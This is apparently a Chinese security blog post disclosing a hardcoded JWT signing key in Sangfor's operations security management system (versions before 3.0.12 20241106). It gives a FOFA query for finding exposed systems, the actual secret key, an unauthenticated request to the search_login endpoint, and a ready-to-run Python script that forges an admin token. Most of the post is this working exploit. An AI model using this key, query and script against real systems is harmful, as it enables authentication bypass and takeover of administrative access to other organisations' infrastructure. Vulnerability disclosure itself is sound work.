深信服运维安全管理系统 Jwt 密钥硬编码


漏洞简介

深信服运维安全管理系统存在 Jwt 密钥硬编码漏洞。攻击者可通过分析应用程序代码或通过其他方式获取硬编码的 Jwt 密钥,利用该密钥伪造 Jwt Token,从而绕过身份认证机制,实现未授权访问系统功能或敏感信息,可能导致越权操作、数据泄露等严重后果。

影响版本

低于 3.0.12 20241106

fofa语法

body="/fort/login" && header="FORTSESSIONID"

漏洞分析

起因是在测试 /login/search_login接口时,

发现有Jwt签名部分,跟进两个方法看了下,发现硬编码的Jwt密钥

Jwt硬编码密钥为 69fad654821b991725e62fb65ee464da

漏洞复现

POC

未授权获取actionToken、accessToken

GET /fort/login/search_login HTTP/1.1
Host: sangfor_osm.mrxn.net

伪造合法的Jwt签名token

伪造一个登录用户名 admin

import jwt
import time

# 从代码中获取的硬编码密钥
SECRET_KEY = "69fad654821b991725e62fb65ee464da"

# 伪造的用户信息
payload = {
    "loginName": "admin",
    "userId": "1000000000001",
    "exp": int(time.time()) + 43200  # 设置一个未来的过期时间
}

# JWT Header
headers = {
  "typ": "JWT",
  "alg": "HS256"
}

# 使用获取的密钥签名,生成伪造的token
forged_token = jwt.encode(payload, SECRET_KEY, algorithm="HS256", headers=headers)

print(forged_token)

手机扫码阅读

深信服运维安全管理系统 getLdap 远程命令执行漏洞

深信服运维安全管理系统 del_route 远程命令执行漏洞

评 论